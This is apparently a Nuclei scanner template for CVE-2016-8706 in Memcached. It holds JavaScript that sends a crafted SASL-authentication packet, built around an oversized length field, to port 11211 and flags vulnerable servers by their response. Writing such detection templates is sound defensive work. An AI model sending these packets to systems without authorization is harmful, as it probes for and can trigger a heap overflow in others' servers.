Description
An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.
An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.
id: CVE-2016-8706
info:
name: Memcached Server SASL Authentication - Remote Code Execution
author: pussycat0x
severity: high
description: |
An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.
reference:
- https://github.com/Medicean/VulApps/blob/master/m/memcached/cve-2016-8706/poc.py
- https://nvd.nist.gov/vuln/detail/CVE-2016-8706
- http://rhn.redhat.com/errata/RHSA-2016-2819.html
- http://www.debian.org/security/2016/dsa-3704
- http://www.securitytracker.com/id/1037333
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2016-8706
cwe-id: CWE-190
epss-score: 0.68629
epss-percentile: 0.98539
cpe: cpe:2.3:a:memcached:memcached:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: memcached
product: memcached
verfied: true
tags: cve,cve2016,rce,js,memcached,vuln
javascript:
- pre-condition: |
isPortOpen(Host,Port);
code: |
let packet = bytes.NewBuffer();
packet.Write(new Uint8Array([0x80, 0x21]))
let cmd = 'stats'
packet.WriteString(cmd)
packet.Pack("!H", [32]);
packet.Pack("!I", [1]);
let buzz = Array(1000).fill("A").join('');
packet.WriteString(buzz)
const c = require("nuclei/net");
let conn = c.Open('tcp', `${Host}:${Port}`);
conn.SendHex(packet.Hex());
conn.RecvString();
args:
Host: "{{Host}}"
Port: 11211
matchers-condition: and
matchers:
- type: word
words:
- "Invalid arguments"
- type: word
words:
- "Auth failure"
negative: true
# digest: 490a00463044022079f9220661851cd4375ccab3350fa2f22eda069b24a37901dc4d0b1ac2cdd85e02202fe31ea9fd53e88e9871e9074d49f94f97824502c1b4e5352d4c45f4e6068e0b:922c64590222798bb761d5b6d8e72950
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